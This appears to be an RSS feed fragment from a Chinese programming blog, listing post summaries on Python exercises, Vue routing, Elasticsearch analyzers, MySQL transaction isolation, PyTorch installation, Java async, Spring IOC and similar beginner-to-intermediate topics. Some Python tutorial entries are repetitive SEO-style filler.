      <description>1.用户在三行中分别输入一个字符串s和两个整数m,n,输出字符串s中位于m和n（包括m但不包括n）之间的子字符串。例如，输入“python programming”，2，5，输出tho。&#xA;print(&#39;please input a string and two integers:&#39;) s=input() m=eval(input()) n=eval(input()) print(s[m:n]) 运行结果如下：&#xA;2.用户输入一个字符串，在一行中连续输出其序号为奇数位置上的字符，例如输入python programming,输出yhnporming。&#xA;print(&#39;please input a sting:&#39;) s=input() for i in range(len(s)): if i%2!=0: print(s[i]) 运行结果如下：&#xA;3.编写程序，用户输入一个字符串，将其中小写字母全部转换成大写字母，把大写字母全部转换为小写字母，其他字符不变输出。&#xA;import string print(&#39;please input a string:&#39;) s=input() for ch in s: if ch in string.ascii_lowercase: print(ch.upper()) if ch in string.ascii_uppercase: print(ch.lower()) 运行结果如下：&#xA;4.编写程序，从用户给定字符串中查找某指定的字符。输入一个待查找的字符c和一个以回车结束的非空字符串s。如果字符c在字符串s中存在，按照格式“index=下标”输出该字符在字符串中所对应的最大下标（下标从0开始），否则输出Not Found。&#xA;print(&#39;please input a string:&#39;) s=input() print(&#39;please input the letter that you want to search:&#39;) c=input() if c not in s: print(&#39;Not Found&#39;) else: for i in range(len(s)): if c==s[i]: index=i print(&#39;index={}&#39;.</description>
    </item>
    <item>
      <title>vue项目实战-完成路由组件的搭建</title>
      <link>https://bchobby.github.io/posts/ca6ef601558b66ad4bd39a8e4b32a335/</link>
      <pubDate>Mon, 19 Sep 2022 17:18:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca6ef601558b66ad4bd39a8e4b32a335/</guid>
      <description>vue项目实战-完成路由组件的搭建 1.安装vue-router npm i vue-router --save 分析结构可知，路由组件有四个：Home、Search、Login、Register&#xA;2.创建路由组件文件夹pages以及各路由组件 3.配置路由 项目中配置路由一般配置在router文件夹中，创建一个router文件夹，在其下新建index.js&#xA;//配置路由的地方（index.js） import Vue from &#39;vue&#39; import VueRouter from &#39;vue-router&#39; //使用插件 Vue.use(VueRouter) //引入路由组件 import Home from &#39;@/pages/Home&#39; import Search from &#39;@/pages/Search&#39; import Login from &#39;@/pages/Login&#39; import Register from &#39;@/pages/Register&#39; //配置路由 export default new VueRouter({ routes:[ { path:&#39;/home&#39;, component:Home }, { path:&#39;/search&#39;, component:Search }, { path:&#39;/login&#39;, component:Login }, { path:&#39;/register&#39;, component:Register }, //重定向 { path:&#39;*&#39;, redirect:&#39;/home&#39; } ] }) 4.在main.js中引入 5.在App.vue中配置路由组件出口 6.</description>
    </item>
    <item>
      <title>ElasticSearch（六）【分词器】</title>
      <link>https://bchobby.github.io/posts/6bc9eb2a60bdc3eae23a3d615cda203e/</link>
      <pubDate>Mon, 19 Sep 2022 17:14:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bc9eb2a60bdc3eae23a3d615cda203e/</guid>
      <description>六、分词器 6.1 分词器介绍 Analysis 和 Analyzer&#xA;Analysis：文本分析是把全文本转换一系列单词（term/token）的过程，也叫分词（Analyzer）。Analysis是通过Analyzer来实现的。分词就是将文档通过Analyzer分成一个一个的Term，每一个Term都指向包含这个Term的文档&#xA;Analyzer 组成&#xA;【注意】：在ES中默认使用标准分词器：StandardAnalyzer特点：中文单字分词/单词分词&#xA;我是中国人this is a good man----&amp;gt;analyzer—&amp;gt;我 是 中 国 人 this is a good man&#xA;分析器（analyzer）都由三种构件组成的：character filters，tokenizers，token filters Character Filter 字符过滤器 在一段文本进行分词之前，先进行预处理，比如说最常见的就是，过滤html标签(hello–&amp;gt; hello)，&amp;amp;–&amp;gt; and，（I&amp;amp;you–&amp;gt;I and you） Tokenizers 分词器 英文分词可以根据空格将单词分开，中文分词比较复杂，可以采用机器学习算法来分词 Token Filters Token过滤器 将切分的单词进行加工。大小写转换（例将&#34;Quick&#34;转为小写），去掉停用词（例如停用词像&#34;a&#34;、“and”、“the&#34;等等），加入同义词（例如同义词像&#34;jump&#34;和&#34;leap”） 【注意】&#xA;三者顺序：Character Filter—&amp;gt;Tokenizers—&amp;gt;Token Filter三者个数：Character Filter（0个或多个）+ Tokenizers + Token Filters（0个或多个） 内置分词器&#xA;Standard Analyzer：默认分词器，英文按单词切分，并小写处理Simple Analyzer：按照单词切分（符号被过滤），小写处理Stop Analyzer：小写处理，停用词过滤（the、a、is…）Whitespace Analyzer：按照空格切分，不转小写Keyword Analyzer：不分词，直接将输入当作输出 6.2 内置分词器测试 Standard Analyzer 标准分词器 特点：按照单词分词，英文统一转为小写，过滤标点符号，中文单子分词 POST /_analyze { &#34;analyzer&#34;: &#34;standard&#34;, &#34;</description>
    </item>
    <item>
      <title>MySQL事务隔离级别的实现原理</title>
      <link>https://bchobby.github.io/posts/4381b06daaa13869eacafe7f663b350f/</link>
      <pubDate>Mon, 19 Sep 2022 17:12:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4381b06daaa13869eacafe7f663b350f/</guid>
      <description>并发事务产生的问题 丢失更新（脏写）：简单说就是两个事务并发修改同一行数据，没有加锁脏读：一个事务读取到另一个事务中没有提交的数据不可重复读：在同一个事务中两次读取相同数据得到的内容不同，不包括被事务本身所修改幻读：一个事务按照条件查询数据时，没有对应数据行，但是在插入数据时，又发现这行数据已经存在 以上事务并发问题严重程度：丢失更新 &amp;gt; 脏读 &amp;gt; 不可重复读 &amp;gt; 幻读&#xA;为了解决并发事务所引发的问题，在数据库中引入了事务隔离级别&#xA;Read Uncommited（读未提交）：解决脏写Read Committed（读已提交）：解决脏读Repeatable Read（可重复读）：解决不可重复读（MySQL在此隔离级别下就可以解决幻读）Serializable（串行化）：解决幻读 从上到下安全性越来越高，但效率越来越低，要选择合适的隔离级别保证相对安全的同时效率较高&#xA;事务隔离级别的实现方式 事务隔离级别的实现基于 锁机制 和 MVCC，不同的隔离级别对锁的使用是不同的&#xA;select语句均是快照读（MVCC解决）delete / update / select ...for update 等语句是加锁实现的 读未提交 解决 脏写 解决方案：在开启事务后，如果是 写/读 操作，加一个行 写/读 锁，读/写 完后立马释放锁。这样之后，在一个事务修改某行数据时，不让其他事务对该行数据有任何操作（这种解决冲突的方案叫做读未提交，这就是事务的第一个隔离级别）&#xA;缺点：事务A未提交就释放了锁，事务B在事务A释放锁后读到的数据就是未提交的数据，如果事务A回滚，刚才读的数据就是无效数据，也就是脏数据（脏读）&#xA;读已提交 解决 脏读 解决方案：把释放锁的时机调整到事务提交之后，此时在事务提交前，其他事务是无法对该行数据进行任何操作（包括读)，效率极低，于是MySQL使用了一个并发版本控制机制，叫做MVCC（这种解决方案叫做读已提交，这也是事务的第二个隔离级别）&#xA;MVCC通俗的也就是说：MySQL为了提高系统的并发量，在事务未提交前，虽然事务内操作的数据是锁定状态，但是另一个事务仍然可以读取数据的 快照版本。&#xA;缺点：MySQL虽然锁住正在操作的数据行，但它不会阻止另一个事务往表的其他行插入数据。&#xA;不可重复读问题：在RC隔离级别由于每次执行快照读都会创建一个新的Read View，导致同一事务中两次读取数据不一致 。&#xA;可重复读 解决 不可重复度 解决方案：MySQL依然采取MVCC解决这个问题，具体是：在一个事务中第一次执行查询会创建一个Read View，之后的查询会复用之前的Read View。这样就保证了同一个事务多次读取数据时数据的一致性。（这种解决方案叫做可重复读，这就是事务的第三个隔离级别）&#xA;MySQL在RR隔离级别下解决幻读 MySQL的默认隔离级别是RR，它默认开启了间隙锁（只有RR隔离级别下才有间隙锁），可以解决幻读问题。&#xA;InnoDB默认的事务隔离级别是RR，在此隔离级别下，使用临键锁（间隙锁 + 行锁）的方式来加锁，解决幻读。&#xA;样例 # 如果数据库表种数据的主键id有 1 3 8 11 13 15 17 # 事务1 begin; # 执行如下sql update tb set name = &#39;li&#39; where id = 5; # 因为5不存在，此时会对3 - 8之间加间隙锁，不包括3和8 # 事务2 begin; insert into tb values(7, &#39;li&#39;); # 阻塞 # 事务1提交事务（释放间隙锁），事务2才解除阻塞 InnoDB自动使用间隙锁的条件</description>
    </item>
    <item>
      <title>python3.7安装、Anaconda安装、更新驱动CUDA11.7、安装GPU版本的pytorch</title>
      <link>https://bchobby.github.io/posts/43d7ac0699a3f17848ef8f1637ad88f8/</link>
      <pubDate>Mon, 19 Sep 2022 17:09:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43d7ac0699a3f17848ef8f1637ad88f8/</guid>
      <description>一、安装python3.7（安装其他版本的也可参考） 二、Anaconda安装 三、更新驱动 四、安装GPU版本的pytorch 一、安装python3.7（安装其他版本的也可参考）&#xA;1、进入python官网，https://www.python.org，进入首页，点击Downloads，选择Windows&#xA;如下图，就可以看到许多的Python版本，我们选择python3.7.9（想安装其他版本的自己对应找即可）&#xA;2、安装：&#xA;2.1、&#xA;2.2、&#xA;2.3、一般不改路径&#xA;2.4、&#xA;2.5、验证是否成功，按win+R，输入cmd ，输入Python回车&#xA;二、Anaconda安装&#xA;1、进入Anaconda官网，https://www.anaconda.com/，进入首页，选中“Products”，点击“Anaconda Distribution”选项。&#xA;2、拉到最底下，点击&#xA;一般我们不会安装最新版本，我们安装一个稳定的版本，往下拉，选择此版本&#xA;3、安装&#xA;3.1、&#xA;3.2、&#xA;3.3、&#xA;3.4、这个一般不放在c盘，建议放在d盘&#xA;3.5、&#xA;3.6、&#xA;3.7、&#xA;3.8、&#xA;添加环境变量此电脑——属性——高级系统设置——环境变量——path——编辑——新建&#xA;D:\Anaconda5.3.1 （Python需要）&#xA;D:\Anaconda5.3.1\Scripts （conda自带脚本）&#xA;D:\Anaconda5.3.1\Library\mingw-w64\bin （使用C with python的时候）&#xA;D:\Anaconda5.3.1 \Library\bin（jupyter notebook动态库）&#xA;验证是否成功，按win+R，输入cmd , conda --version 回车!&#xA;三、更新驱动&#xA;进入https://www.nvidia.cn/Download/index.aspx?lang=cn#，选择自己的电脑的配置进行下载安装（注意一定要安装在c盘，为之后安装GPU版本的pythorch做准备，之前安装在d盘出错了）&#xA;验证是否成功，按win+R，输入cmd , nvidia-smi 回车!&#xA;四、安装GPU版本的pytorch（安装这个之前要安装pycharm、Anaconda、更新了驱动）&#xA;1、点击进入Anaconda3中的Anaconda Prompt(anaconda)&#xA;知识储备：&#xA;1.1、检验当前conda的版本&#xA;conda -V&#xA;1.2、查看已有的虚拟环境&#xA;conda env list&#xA;1.3、创建虚拟环境&#xA;conda create -n env_name python=x.x&#xA;1.4、删除虚拟环境</description>
    </item>
    <item>
      <title>训练LPRNet遇到的问题</title>
      <link>https://bchobby.github.io/posts/c3b8a40596770162a25986ef27d5f62b/</link>
      <pubDate>Mon, 19 Sep 2022 16:59:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3b8a40596770162a25986ef27d5f62b/</guid>
      <description>1.由于lprnet接收的是图片名称就是label的数据集，但是代码中读取数据部分，用cv2.imread读取不出中文字，导致报错“no module named shape”&#xA;解决方法：只需要将这行代码改为&#xA;Image = cv2.imdecode(np.fromfile(filename, dtype=np.uint8), -1) 亲测有效。y&#xA;2.很火爆的acc一直为0问题，或者loss降不下去，这个一定要增大数据集，我从之前的五千增加到18w才出现很高的acc，而且因为loss的计算最后是要除以batchsize的，所以这个batchsize要适当调大，前提是数据集足够大。之前我训练的时候，只用了五六千的数据集，学习率调到0.0000001效果还是很差，但把数据集陡增到18w之后，lr调到0.0001，acc很快就升到了90%多。所以说，增大数据集才是王道。&#xA;3.出现除数为0的问题，解决方法简单粗暴：加大数据集，加大加大加大！！如果数据集已经很大了还是出现了除数为0的情况，应该就是batchsize有点太大了，导致某一批次没有被完整执行，有个叫什么来着的那个函数没有被调用，所以tn1 tn2一直是0，tn也是0，于是出现了除数为0的情况。&#xA;有什么问题欢迎补充，共同探讨互相学习。</description>
    </item>
    <item>
      <title>python用minimize() 函数替代matlab的fmincon函数</title>
      <link>https://bchobby.github.io/posts/6d0c420db6707049b38b8118bbc789ad/</link>
      <pubDate>Mon, 19 Sep 2022 16:24:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d0c420db6707049b38b8118bbc789ad/</guid>
      <description>文章目录 1. matlab 中的 fmincon() 函数2. python中的minimize()函数参考文献 1. matlab 中的 fmincon() 函数 matlab 求解非线性规划&#xA;在matlab中，fmincon函数可以用于求解带约束的非线性多变量函数的最小值，即可以用来求解非线性规划问题。&#xA;2. 基本语法&#xA;[x, fval] = fmincon(fun, x0, A, b, Aeq, beq, lb, ub, nonlcon, options)&#xA;x 的返回值是决策向量 x 的取值，fval 的返回值是目标函数 f(x) 的取值fun 是用 M 文件定义的函数 f(x) ,代表了(非)线性目标函数x0 是 x 的初始值A, b, Aeq, beq 定义了线性约束 ,如果没有线性约束，则 A=[], b=[], Aeq=[], beq=[]lb 和 ub 是变量 x 的下界和上界，如果下界和上界没有约束，则 lb=[], ub=[],也可以写成 lb 的各分量都为 -inf, ub 的各分量都为 infnonlcon 是用 M 文件定义的非线性向量函数约束。options 定义了优化参数，不填写表示使用 Matlab 默认的参数设置。 3.</description>
    </item>
    <item>
      <title>每日算法之-哈夫曼树</title>
      <link>https://bchobby.github.io/posts/87b83024e84a434d921fcab9cc109892/</link>
      <pubDate>Mon, 19 Sep 2022 14:35:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87b83024e84a434d921fcab9cc109892/</guid>
      <description>概念: 哈夫曼树 (最优树) ---- 带权路径长度最短的树 “带权路径长度最短” 是在 &#34;度相同&#34;的树中比较而得的结果,因此有最优二叉树,最优三叉树之称等等。&#xA;哈夫曼算法口诀: 1.构造森林全是根; 2.选用两小造新树&#xA;3、删除两小添新人 4、重复2、3剩单根&#xA;例如 : 有4个节点 a,b,c,d 权值分别为7,5,2,4,构造哈夫曼树&#xA;1.构造森林全是根&#xA;以这4个节点建立一个森林,根节点为a,b,c,d ,权值为7,5,2,4&#xA;2.选用两小造新人&#xA;选择最小的权值的两个跟节点2,4构造一颗树&#xA;3.删除两小添新人&#xA;构造树的根节点为6,删除2,4,剩余的森林节点为7,5,6&#xA;4.重复2、3剩单根&#xA;继续重复2,3步骤,构造树</description>
    </item>
    <item>
      <title>Java 异步编程 (5 种异步实现方式详解)</title>
      <link>https://bchobby.github.io/posts/a80b6fb002b54315c8b11d62c3aea4fb/</link>
      <pubDate>Mon, 19 Sep 2022 13:07:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a80b6fb002b54315c8b11d62c3aea4fb/</guid>
      <description>同步操作如果遇到一个耗时的方法，需要阻塞等待，那么我们有没有办法解决呢？让它异步执行，下面我会详解异步及实现 @mikechen&#xA;目录&#xA;什么是异步？一、线程异步二、Future异步三、CompletableFuture异步四、SpringBoot @Async异步五、Guava异步Java异步编程小结 什么是异步？ 首先我们先来看看一个同步的用户注册例子，流程如下：&#xA;在同步操作中，我们执行到 插入数据库 的时候，我们必须等待这个方法彻底执行完才能执行“ 发送短信 ”这个操作，如果 插入数据库 这个动作执行时间较长，发送短信需要等待，这就是典型的同步场景。&#xA;于是聪明的人们开始思考，如果两者关联性不强，能不能将一些非核心业务从主流程中剥离出来，于是有了异步编程雏形，改进后的流程如下：&#xA;这就是异步编程，它是程序并发运行的一种手段，它允许多个事件同时发生，当程序调用需要长时间运行的方法时，它不会阻塞当前的执行流程，程序可以继续运行。&#xA;在聊完异步编程后，那么我们一起来看看Java里面实现异步编程究竟有哪些方式呢？&#xA;一、线程异步 在 Java 语言中最简单使用异步编程的方式就是创建一个 线程来实现，如果你使用的 JDK 版本是 8 以上的话，可以使用 Lambda 表达式 会更加简洁。&#xA;public class AsyncThread extends Thread{ @Override public void run() { System.out.println(&#34;当前线程名称:&#34; + this.getName() + &#34;, 执行线程名称:&#34; + Thread.currentThread().getName() + &#34;-hello&#34;); } } public static void main(String[] args) { // 模拟业务流程 // ....... // 创建异步线程 AsyncThread asyncThread = new AsyncThread(); // 启动异步线程 asyncThread.</description>
    </item>
    <item>
      <title>python入门教程(非常详细),python基础教程 入门教程</title>
      <link>https://bchobby.github.io/posts/4939138185328575b6e119c52eafa695/</link>
      <pubDate>Mon, 19 Sep 2022 12:30:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4939138185328575b6e119c52eafa695/</guid>
      <description>python入门教程(非常详细) python入门教程如下：准备材料：windows电脑、python1、这里简单告用python软件编写的一个关于货物售价折扣方面的一个计算程序，首先打开python软件。&#xA;2、进入python后，会出现如图所示界面，按照图中箭头指示，先选择File选项，然后在下拉菜单中选择New file选项。3、选择完毕后，会出现一个新的界面，如图箭头和红色框指示。&#xA;4、进入这个新的界面，在里面输入自己想编辑的程序，如图所示是编写的一个关于货物售价折扣方面的一个简单的计算程序。&#xA;5、程序输入完毕后，按照图中箭头和红色框指示，先选择Run选项，然后在下拉菜单中选择Run Module（注：除此方法外还可以点击键盘F5）。&#xA;6、此时会在原界面出现如图所示的字样，这是因为编写程序编辑好的，此时可以输入一个数字，然后回车，又会让输入一个折扣，输入完即可得出最后售价结果。&#xA;7、如图所示，这里输入的原价是10，折扣是0.2，故此系统根据编写的程序计算除了打折后的价格为2。&#xA;谷歌人工智能写作项目：小发猫&#xA;python入门教程(非常详细) python入门教程如下：准备材料：windows电脑、python1、这里简单告用python软件编写的一个关于货物售价折扣方面的一个计算程序，首先打开python软件typescript有哪些东西。&#xA;2、进入python后，会出现如图所示界面，按照图中箭头指示，先选择File选项，然后在下拉菜单中选择New file选项。3、选择完毕后，会出现一个新的界面，如图箭头和红色框指示。&#xA;4、进入这个新的界面，在里面输入自己想编辑的程序，如图所示是编写的一个关于货物售价折扣方面的一个简单的计算程序。&#xA;5、程序输入完毕后，按照图中箭头和红色框指示，先选择Run选项，然后在下拉菜单中选择Run Module（注：除此方法外还可以点击键盘F5）。&#xA;6、此时会在原界面出现如图所示的字样，这是因为编写程序编辑好的，此时可以输入一个数字，然后回车，又会让输入一个折扣，输入完即可得出最后售价结果。&#xA;7、如图所示，这里输入的原价是10，折扣是0.2，故此系统根据编写的程序计算除了打折后的价格为2。&#xA;python入门教程(非常详细) 新手入门需要掌握编程环境的安装与使用、输入及输出语句的应用、运算表达式的使用等。具体教程如下：1、编程环境的安装与使用。比如Python的学习一般推荐软件自带的IDLE，简单好用。&#xA;图一2、掌握输入、输入语句的使用。输入语句可以让计算机知道你通过键盘输入了什么，输出语句可以让你知道计算机执行的结果。以输出语句为例：其中“”里面的内容是原样输出，多个输出项之间用，隔开。&#xA;示例3、掌握运算（包含计算、逻辑）表达式使用。这个主要是用+、-、*、/、（）、&amp;gt;、=、&#xA;毫无基础的人如何入门 Python ? Python是一种计算机程序设计语言。你可能已经听说过很多种流行的编程语言，比如非常难学的C语言，非常流行的Java语言，适合初学者的Basic语言，适合网页编程的JavaScript语言等等。&#xA;那Python是一种什么语言？首先，我们普及一下编程语言的基础知识。&#xA;用任何编程语言来开发程序，都是为了让计算机干活，比如下载一个MP3，编写一个文档等等，而计算机干活的CPU只认识机器指令，所以，尽管不同的编程语言差异极大，最后都得“翻译”成CPU可以执行的机器指令。&#xA;而不同的编程语言，干同一个活，编写的代码量，差距也很大。比如，完成同一个任务，C语言要写1000行代码，Java只需要写100行，而Python可能只要20行。所以Python是一种相当高级的语言。&#xA;你也许会问，代码少还不好？代码少的代价是运行速度慢，C程序运行1秒钟，Java程序可能需要2秒，而Python程序可能就需要10秒。那是不是越低级的程序越难学，越高级的程序越简单？&#xA;表面上来说，是的，但是，在非常高的抽象计算中，高级的Python程序设计也是非常难学的，所以，高级程序语言不等于简单。但是，对于初学者和完成普通任务，Python语言是非常简单易用的。&#xA;连Google都在大规模使用Python，你就不用担心学了会没用。用Python可以做什么？&#xA;可以做日常任务，比如自动备份你的MP3；可以做网站，很多著名的网站包括YouTube就是Python写的；可以做网络游戏的后台，很多在线游戏的后台都是Python开发的。总之就是能干很多很多事啦。&#xA;Python当然也有不能干的事情，比如写操作系统，这个只能用C语言写；写手机应用，只能用Objective-C（针对iPhone）和Java（针对Android）；写3D游戏，最好用C或C++。&#xA;如果你是小白用户，满足以下条件：会使用电脑，但从来没写过程序；还记得初中数学学的方程式和一点点代数知识；想从编程小白变成专业的软件架构师；每天能抽出一个半小时学习。可以看下面的代码。&#xA;中小学生如何学习Python编程？ 一、中小学生接触电脑的时间很少，所以要经常操作电脑，熟悉电脑的操作，查资料，环境变量，命令行等等。二、编程需要一些英语基础，不用很厉害，但是至少要能看懂一些简单的互联网开发方面的英文单词。&#xA;三、python是胶水语言，本身语法很简单，大部分功能都是依赖框架，但是不要以为语法简单就忽视，基础非常非常重要。研究好python基础语法后，开始学习框架。&#xA;四、最好是选一个比较喜欢的框架去学习，一个一个学，贪多嚼不烂。&#xA;0基础自学python，有入门书籍推荐下么 AlphaGo 都在使用的 Python 语言，是最接近 AI 的编程语言。&#xA;教育部考试中心近日发布了“关于全国计算机等级（NCRE）体系调整”的通知，决定自2018年3月起，在全国计算机二级考试中加入了“Python语言程序设计”科目。&#xA;9个月前，浙江省信息技术课程改革方案已经出台，Python确定进入浙江省信息技术教材，从2018年起浙江省信息技术教材编程语言将会从vb更换为Python。&#xA;小学生都开始学Python了，天呐撸，学习Python看完这些准没错。&#xA;安利一波书单Python入门《Python编程快速上手——让繁琐工作自动化》作者： 【美】Al Sweigart（斯维加特）Python3编程从入门到实践亚马逊畅销Python编程图书本书是一本面向实践的Python编程实用指南。&#xA;本书不仅介绍了Python语言的基础知识，而且还通过项目实践教会读者如何应用这些知识和技能。&#xA;本书的第一部分介绍了基本Python编程概念，第二部分介绍了一些不同的任务，通过编写Python程序，可以让计算机自动完成它们。第二部分的每一章都有一些项目程序，供读者学习。&#xA;每章的末尾还提供了一些习题和深入的实践项目，帮助读者巩固所学的知识，附录部分提供了所有习题的解答。&#xA;《“笨办法”学Python（第3版）》作者： 【美】Zed A. Shaw《“笨办法”学Python(第3版)》是一本Python入门书籍，适合对计算机了解不多，没有学过编程，但对编程感兴趣的读者学习使用。&#xA;这本书以习题的方式引导读者一步一步学习编程，从简单的打印一直讲到完整项目的实现，让初学者从基础的编程技术入手，最终体验到软件开发的基本过程。&#xA;《“笨办法”学Python(第3版)》结构非常简单，共包括52个习题，其中26个覆盖了输入/输出、变量和函数三个主题，另外26个覆盖了一些比较高级的话题，如条件判断、循环、类和对象、代码测试及项目的实现等。&#xA;每一章的格式基本相同，以代码习题开始，按照说明编写代码，运行并检查结果，然后再做附加练习。&#xA;《Python编程初学者指南》作者： 【美】Michael Dawson《Python编程初学者指南》尝试以轻松有趣的方式来帮助初学者掌握Python语言和编程技能。&#xA;全书共12章，每一章都会用一个完整的游戏来演示其中的关键知识点，并通过编写好玩的小软件这种方式来学习编程，引发读者的兴趣，降低学习的难度。&#xA;每章最后都会对该章的知识点进行小结，还会给出一些小练习让读者试试身手。作者很巧妙的将所有编程知识嵌入到了这些例子中，真正做到了寓教于乐。&#xA;《数据结构（Python语言描述）》作者： 【美】Kenneth A.</description>
    </item>
    <item>
      <title>【升级pip；查看pip版本】</title>
      <link>https://bchobby.github.io/posts/d0bc9d7b9a0d2028b8e4859601a2bc43/</link>
      <pubDate>Mon, 19 Sep 2022 09:48:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0bc9d7b9a0d2028b8e4859601a2bc43/</guid>
      <description>升级pip 命令行输入：&#xA;python -m pip install --upgrade pip&#xA;查看pip版本 命令行输入：&#xA;pip show pip</description>
    </item>
    <item>
      <title>vite2创建项目</title>
      <link>https://bchobby.github.io/posts/2c6a9b441b019bb96d98f8c498f070ee/</link>
      <pubDate>Sun, 18 Sep 2022 15:18:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c6a9b441b019bb96d98f8c498f070ee/</guid>
      <description>node版本大于12&#xA;npm create vite</description>
    </item>
    <item>
      <title>PID算法控制小车转向</title>
      <link>https://bchobby.github.io/posts/7f8ac08f7f32f7fa9d2133bc2639ec96/</link>
      <pubDate>Sun, 18 Sep 2022 15:05:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f8ac08f7f32f7fa9d2133bc2639ec96/</guid>
      <description>1.平衡小车转向控制调试：&#xA;角加速度传感器线加速度计：&#xA;直立静止时：x和y轴输出为0，z轴为g&#xA;存在一定角度时：g会在x和y轴存在分量&#xA;Angle_Y表示角度β，弧度制&#xA;Accel_X表示重力加速度在x轴的分量&#xA;(1)平衡小车转向环使用P（比例控制器）或者PD控制器，转向环是一般 的控制系统，我们只使用P控制器。 (2)目标是配合直立环和速度换，使小车保持直线行驶。&#xA;(3)确定KP的极性，为了方便实验，我们关闭之前的直立环和速度环。 (4)我们得到MPU6050输出的陀螺仪的原始数据，觉得最大值不会很大，应该在0~2之间。&#xA;(5)我们先确定转向控制的极性：&#xA;先设置KP=-负0.6 . 我们把小车放在地上，按照顺时针的方向旋转小车，发现小车并没有阻止我们旋转，这并不是我们希望看到的效果。&#xA;(6)我们把KP值设置为正的+0.6 。我们按照顺时针去旋转小车，发现特别的困难，&#xA;所以我们确定KP的极性为-负的。&#xA;(7)我们打开之前设置好直立环和速度环。&#xA;先设置KP=0.2，看看小车走直线的效果，发现KP=0.2发现小车走直线的情况是非常不理想的。&#xA;(8) 我们把KP设置为0.6看看走直线的效果。&#xA;控制转向的效果有所好转，但是也不是很理想。&#xA;(9)我们把KP值设置为1.0看看走直线的效果。&#xA;我们看到小车走直线的效果已经很理想了&#xA;(10)我们把KP值设置为1.6我们再看看效果。&#xA;小车走直线的效果不错，但是会低频的抖动，所以我们 选择KP=1.0</description>
    </item>
    <item>
      <title>【Spring】IOC容器-Bean管理</title>
      <link>https://bchobby.github.io/posts/f415759d192f8c8853d4732475ed8be7/</link>
      <pubDate>Sun, 18 Sep 2022 14:28:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f415759d192f8c8853d4732475ed8be7/</guid>
      <description>一、Spring5 框架概述 1、Spring 是轻量级的开源的 JavaEE 框架&#xA;2、Spring 可以解决企业应用开发的复杂性&#xA;3、Spring 有两个核心部分：IOC 和 Aop&#xA;（1）IOC：控制反转，把创建对象过程交给 Spring 进行管理&#xA;（2）Aop：面向切面，不修改源代码进行功能增强&#xA;4、Spring 特点&#xA;（1）方便解耦，简化开发&#xA;（2）Aop 编程支持&#xA;（3）方便程序测试&#xA;（4）方便和其他框架进行整合&#xA;（5）方便进行事务操作&#xA;（6）降低 API 开发难度&#xA;二、Spring5 入门案例 1、下载 Spring5&#xA;（1）使用 Spring 最新稳定版本 5.2.6&#xA;（2）下载地址&#xA;https://repo.spring.io/release/org/springframework/spring/&#xA;2、导入spring5相关jar包&#xA;三、IOC（概念和原理） 1、什么是 IOC&#xA;（1）控制反转，把对象创建和对象之间的调用过程，交给 Spring 进行管理&#xA;（2）使用 IOC 目的：为了耦合度降低&#xA;（3）做入门案例就是 IOC 实现&#xA;2、IOC 底层原理&#xA;（1）xml 解析、工厂模式、反射&#xA;3、画图讲解 IOC 底层原理&#xA;IOC（BeanFactory 接口）&#xA;1、IOC 思想基于 IOC 容器完成，IOC 容器底层就是对象工厂&#xA;2、Spring 提供 IOC 容器实现两种方式：（两个接口）&#xA;（1）BeanFactory：IOC 容器基本实现，是 Spring 内部的使用接口，不提供开发人员进行使用</description>
    </item>
    <item>
      <title>计算机二级python考试题型和分值</title>
      <link>https://bchobby.github.io/posts/ae9ebb3cdc885080d86af51ebdcf087d/</link>
      <pubDate>Sun, 18 Sep 2022 13:45:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae9ebb3cdc885080d86af51ebdcf087d/</guid>
      <description>计算机二级python 一、 题型及分值分布1. 单选题共40道，1到10题为公共基础知识，11到40题是python相关的知识，比如数据结构与算法、python基础知识。&#xA;每道题1分，共40分；2. 基础编程题共3道，题目会给一部分写好的代码，描述它的作用，然后填补空缺处的代码，使程序能正常运行。&#xA;每题5分，共15分；3. 简单应用题共2道，一道是利用turtle画出图形，一般以代码补全的方式出现，给出大部分代码，填写剩余的两三行。&#xA;另一道难度稍大些，也是填写代码，具体题目类型看情况而定，一般要填三四行。&#xA;前者10分，后者15分，共25分；4. 综合应用题共1道，一般是对分词排序、文件读写或管理，要求完整写出整个程序，并能够运行成功输出题目要求的结果。要步骤给分，共20分。&#xA;二、 考试内容1. python的基本语法与元素了解程序中的基本知识，比如引用、命名、变量、缩进、赋值语句等。掌握输入输出语句的用法，熟知关键保留字。&#xA;2. 基本数据类型熟知数字类型如何使用，其中有int、bool、float、complex。了解字符串类型的处理方法，如何切片以及格式化format（）的使用。&#xA;知道数据类型间如何进行转化，会根据要求操作。了解有关数据类型的有关python函数，掌握并能运用。3. 程序的控制结构理解顺序结构、循环结构、分支结构的书写方法。&#xA;掌握分支结构中单分支、双分支以及多分支的结构，且会运用else以及elif。&#xA;熟悉循环结构中while、for、break以及continue的作用以及使用方式，知道如何用try——except处理异常。&#xA;4. 函数的编写与运用会编写def自定义函数，会用return返回值。知道函数的参数分类以及用法，并能区分局部变量与全局变量的作用范围。&#xA;5. 组合数据类型会运用列表，能对列表进行一些基础操作。了解元组、集合与字典，并会运用到程序中。熟知一些列表操作、集合操作或者字典操作的专用python函数。&#xA;6. 文件操作知道文件打开、关闭与读写的基本函数，掌握并会运用。能对一维、二维数据进行处理表达，会采用CSV格式对它们进行读写。&#xA;7. python库了解turtel库、random库、time库、jieba库、pyinstaller库以及一些第三方库的相关函数，会安装需要的库并运用到程序编写中。&#xA;谷歌人工智能写作项目：小发猫&#xA;计算机二级python好过吗 计算机二级考试中Python科目不难，下点功夫是容易过的typescript 